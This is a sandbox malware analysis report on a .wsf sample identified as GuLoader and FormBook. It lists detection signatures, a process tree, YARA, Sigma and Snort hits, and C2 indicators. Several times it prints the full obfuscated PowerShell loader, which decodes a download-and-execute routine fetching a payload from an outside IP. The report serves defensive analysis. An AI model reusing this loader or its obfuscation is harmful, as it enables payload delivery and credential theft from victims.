Edit tour

Windows Analysis Report
Ordine_doc_419024001904.wsf

Overview

General Information

Sample name:	Ordine_doc_419024001904.wsf
Analysis ID:	1431462
MD5:	734c9d6b82b44237e5befe07faa4149b
SHA1:	b6a244eeb8ed209f2222b112cf2925f7eac7d1db
SHA256:	4949351915c2627905d17fe54bb56341f0af23331257e235b79eaa876fcad8cf
Tags:	wsf
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected FormBook

Yara detected GuLoader

Found direct / indirect Syscall (likely to bypass EDR)

Found suspicious powershell code related to unpacking or dynamic code loading

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Potential malicious VBS script found (suspicious strings)

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Queues an APC in another process (thread injection)

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2276 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Ordine_doc_419024001904.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 2568 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5.0 8 0 )T ');Apalachicola $Karriererne158;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1672 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 4320 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5.0 8 0 )T ');Apalachicola $Karriererne158;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2952 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

wab.exe (PID: 1576 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

wab.exe (PID: 3292 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

VkpUSAfAICCLXDmxnjqGHDByu.exe (PID: 5788 cmdline: "C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

AtBroker.exe (PID: 6024 cmdline: "C:\Windows\SysWOW64\AtBroker.exe" MD5: D5B61959A509BDA85300781F5A829610)

VkpUSAfAICCLXDmxnjqGHDByu.exe (PID: 6980 cmdline: "C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 5008 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

wab.exe (PID: 3992 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

rundll32.exe (PID: 7060 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

wab.exe (PID: 5332 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2407168182.0000000008350000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000005.00000002.2391197450.0000000005962000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x7ad8fd:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x79765c:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x7d7f4:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x67553:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.2407323813.0000000008C08000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x7ad8fd:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x79765c:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 2568	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x166389:$b2: ::FromBase64String( 0x20e5f3:$b2: ::FromBase64String( 0x20e635:$b2: ::FromBase64String( 0x20e678:$b2: ::FromBase64String( 0x20e6bc:$b2: ::FromBase64String( 0x20e701:$b2: ::FromBase64String( 0x20e747:$b2: ::FromBase64String( 0x20e78e:$b2: ::FromBase64String( 0x20e7d6:$b2: ::FromBase64String( 0x20e81f:$b2: ::FromBase64String( 0x20e869:$b2: ::FromBase64String( 0x20e8b4:$b2: ::FromBase64String( 0x20e900:$b2: ::FromBase64String( 0x86aa5:$s1: -join 0x86ac6:$s1: -join 0x86af8:$s1: -join 0x86b40:$s1: -join 0x86b6d:$s1: -join 0x86b94:$s1: -join 0x86bbf:$s1: -join 0x86bdb:$s1: -join
Process Memory Space: powershell.exe PID: 4320	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x303ba0:$b2: ::FromBase64String( 0x11cbae:$s1: -join 0x129c83:$s1: -join 0x12d055:$s1: -join 0x12d707:$s1: -join 0x12f1f8:$s1: -join 0x1313fe:$s1: -join 0x131c25:$s1: -join 0x132495:$s1: -join 0x132bd0:$s1: -join 0x132c02:$s1: -join 0x132c4a:$s1: -join 0x132c69:$s1: -join 0x1334b9:$s1: -join 0x133635:$s1: -join 0x1336ad:$s1: -join 0x133740:$s1: -join 0x1339a6:$s1: -join 0x135b3c:$s1: -join 0x144586:$s1: -join 0x159cce:$s1: -join
Click to see the 15 entries

Other

Source	Rule	Description	Author	Strings
amsi32_4320.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xd339:$b2: ::FromBase64String( 0xc3fb:$s1: -join 0x5ba7:$s4: += 0x5c69:$s4: += 0x9e90:$s4: += 0xbfad:$s4: += 0xc297:$s4: += 0xc3dd:$s4: += 0x15429:$s4: += 0x154a9:$s4: += 0x1556f:$s4: += 0x155ef:$s4: += 0x157c5:$s4: += 0x15849:$s4: += 0xcbdc:$e4: Get-WmiObject 0xcdcb:$e4: Get-Process 0xce23:$e4: Start-Process 0x13f41:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe" , CommandLine: "C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe" , CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe, NewProcessName: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe, OriginalFileName: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 3292, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe" , ProcessId: 5788, ProcessName: VkpUSAfAICCLXDmxnjqGHDByu.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files (x86)\windows mail\wab.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\AtBroker.exe, ProcessId: 6024, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3FZ4SBL

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Ordine_doc_419024001904.wsf", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Ordine_doc_419024001904.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Ordine_doc_419024001904.wsf", ProcessId: 2276, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5.0 8 0 )T ');Apalachicola $Karriererne158;", CommandLine: "C:\

Snort Signatures

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.5 - Destination IP: 47.91.88.207

Timestamp:	04/25/24-08:13:14.421788
SID:	2855465
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
